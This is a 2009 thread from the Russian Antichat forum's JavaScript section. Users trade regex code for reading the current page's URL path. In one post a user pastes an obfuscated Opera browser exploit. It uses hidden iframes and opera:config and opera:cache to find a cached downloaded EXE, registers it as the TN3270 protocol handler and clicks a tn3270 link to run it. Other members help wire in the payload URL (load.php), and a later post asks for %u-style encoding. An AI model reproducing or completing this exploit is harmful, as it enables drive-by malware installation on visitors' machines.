ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1601  
Старый 01.07.2009, 00:22
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

<script>
alert(location.href);
</script>
 
Ответить с цитированием

  #1602  
Старый 01.07.2009, 00:55
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Сори, выразился не ясно... Смотри, нужно, чтобы определялся путь (без самого файла, тока путь с дирой), а в конце приписывался файл уже (отдельно), например: pipka.php... Сори, что сразу не сказал...
 
Ответить с цитированием

  #1603  
Старый 01.07.2009, 00:59
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

И, если не сложно, забей результат в переменную, чтобы сразу выводить...
 
Ответить с цитированием

  #1604  
Старый 01.07.2009, 01:16
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Код:
<script>
// Пример:
var reg=/http:\/\/(.*)\//;  
var arr=reg.exec("http://baklajka.ru/krug/bossota/shanson/1.txt");  
alert(arr[1]); 
// Сабж:
var reg=/http:\/\/(.*)\//;
var file = 'test.php';
var arr=reg.exec(location.href);  
alert(arr[1]+'/'+file); 
</script>
 
Ответить с цитированием

  #1605  
Старый 01.07.2009, 01:25
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Цены тебе нет. Спс
 
Ответить с цитированием

  #1606  
Старый 01.07.2009, 14:09
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Есть следующий сплоит под оперу:

<script>

var reg=/http:\/\/(.*)\//;
var file = 'load.php';
var arr=reg.exec(location.href);
var url = 'http://'+arr[1]+'/'+file;

var a = 1;
var b = 2;

function sum(a,b) {
return (a + b); }

var abc = 123;
var bcd = 234;
var cde = 456;

function my(abc,bcd,cde) {
return (cde - bcd - abc); }

blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval
("co"+"n"+"fi"+"g"+"_"+"if"+"ra"+"m"+"e = d"+"ocum"+"en"+"t"+"."+"cr"+"ea"+"te"+"Ele"+"ment( 'iframe');\
config_iframe.setAttribute('id', 'config_iframe_window');\
config_iframe.src = 'opera:config';\
document.appendChild(config_iframe);\
app_iframe = document.createElement('script');\
cache_iframe = document.createElement('iframe');\
app_iframe.src = СЮДА;\
app_iframe.onload = function ()\
{\
cache_iframe.src = 'opera:cache';\
cache_iframe.onload = function ()\
{\
cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
filename = cache.match(re);\
config_iframe_window.eval\
(\"\
opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
app_link = document.createElement('a');\
app_link.setAttribute('href', 'tn3270://nothing');\
app_link.click();\
setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
\");\
};\
document.appendChild(cache_iframe);\
};\
document.appendChild(app_iframe);");


var xyz = 123;
var xxy = 112;

function sum(xyz,xxy) {
return (xyz + xxy); }


</script>


В скрипте определяется путь до файла load.php, после чего результат должен быть вставлен в поле (переменная url), обозначенное как СЮДА, но, почему-то, вставляться не хочет... Как это сделать?
P.S. Надо именно на javascript, не на php. В яве ноль, Pashkela, выручай

Последний раз редактировалось sNt; 01.07.2009 в 14:14..
 
Ответить с цитированием

  #1607  
Старый 01.07.2009, 14:59
Аватар для m0nsieur
m0nsieur
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме:
2230263

Репутация: 229
По умолчанию

что-то я не понял смысл этого выражения - var arr=reg.exec(location.href); ....

попробуй в начале заменить на вот это

var tmp=location.href;
var file = 'load.php';
var arr = tmp.match(/http:\/\/(.*)\//);
var url = 'http://'+arr[1]+'/'+file;

и ниже строчку где надпись СЮДА
app_iframe.src = url;\

p.s. у себя попробовал, где-то дальше отваливается, но у меня фф, может на опере не будет.
 
Ответить с цитированием

  #1608  
Старый 01.07.2009, 15:15
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Я так и делаю. Как ты выразился - "отваливается".
 
Ответить с цитированием

  #1609  
Старый 01.07.2009, 15:31
Аватар для m0nsieur
m0nsieur
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме:
2230263

Репутация: 229
По умолчанию

я ошибся со вторым выражением, должно быть так..
app_iframe.src = '"+url+"';\

но фф все равно дальше ругается, даже самому стало интересно.
 
Ответить с цитированием

  #1610  
Старый 01.07.2009, 15:56
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Нужна функция для перевода символов в hex вида %ue2e на яве... В инете не пашет ничего, если и есть. Мб руки кривые... Помогите плз.. Спасибо

Последний раз редактировалось sNt; 04.07.2009 в 00:14..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Delphi, .NET, Asm 6762 17.06.2010 21:23
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ